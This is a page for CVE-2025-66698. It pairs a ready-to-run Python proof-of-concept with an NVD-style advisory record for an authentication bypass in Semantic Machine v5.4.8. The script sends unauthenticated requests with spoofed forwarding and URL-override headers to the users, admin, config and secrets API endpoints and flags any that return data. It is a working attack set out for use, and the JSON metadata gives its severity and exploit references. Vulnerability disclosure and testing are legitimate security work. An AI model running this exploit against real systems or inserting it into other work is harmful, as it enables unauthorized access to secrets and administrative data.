CVE-2025-66698

# CVE-2025-66698 Authentication Bypass PoC # Target: Semantic Machine v5.4.8 # Type: Authentication Bypass via crafted HTTP request import requests import sys def exploit_cve_2025_66698(target_url): """ Exploit for CVE-2025-66698 - Semantic Machine Authentication Bypass This PoC demonstrates the authentication bypass vulnerability. """ # Target API endpoints that are affected api_endpoints = [ "/api/v1/users", "/api/v1/admin", "/api/v1/config", "/api/v1/secrets" ] # Crafted HTTP request headers to bypass authentication headers = { "User-Agent": "Mozilla/5.0 (compatible; CVE-2025-66698-PoC)", "X-Forwarded-For": "127.0.0.1", "X-Original-URL": "/api/v1/login", "Content-Type": "application/json" } print(f"[*] Testing target: {target_url}") print(f"[*] Exploiting CVE-2025-66698...") for endpoint in api_endpoints: url = target_url.rstrip('/') + endpoint try: # Send crafted request without authentication response = requests.get(url, headers=headers, timeout=10) print(f"\n[+] Endpoint: {endpoint}") print(f" Status Code: {response.status_code}") if response.status_code == 200: print(f" [!] VULNERABLE - Authentication bypassed!") print(f" Response length: {len(response.text)} bytes") elif response.status_code == 401: print(f" [-] Protected - Authentication required") else: print(f" [*] Status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error accessing {endpoint}: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-66698_poc.py <target_url>") print("Example: python cve-2025-66698_poc.py http://target.com") sys.exit(1) target = sys.argv[1] exploit_cve_2025_66698(target)

{"cve": {"id": "CVE-2025-66698", "sourceIdentifier": "[email protected]", "published": "2026-01-13T16:15:55.907", "lastModified": "2026-02-05T20:30:19.797", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue in Semantic machines v5.4.8 allows attackers to bypass authentication via sending a crafted HTTP request to various API endpoints."}, {"lang": "es", "value": "Un problema en Semantic machines v5.4.8 permite a los atacantes eludir la autenticación mediante el envío de una solicitud HTTP manipulada a varios endpoints de la API."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 4.0}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-287"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:semantic-machines:veda:5.4.8:*:*:*:*:*:*:*", "matchCriteriaId": "C35F1742-FB41-4687-A4E2-48D6705D9A19"}]}]}], "references": [{"url": "http://semantic.com", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "http://veda.com", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://github.com/Perunchess/CVE-2025-66698", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}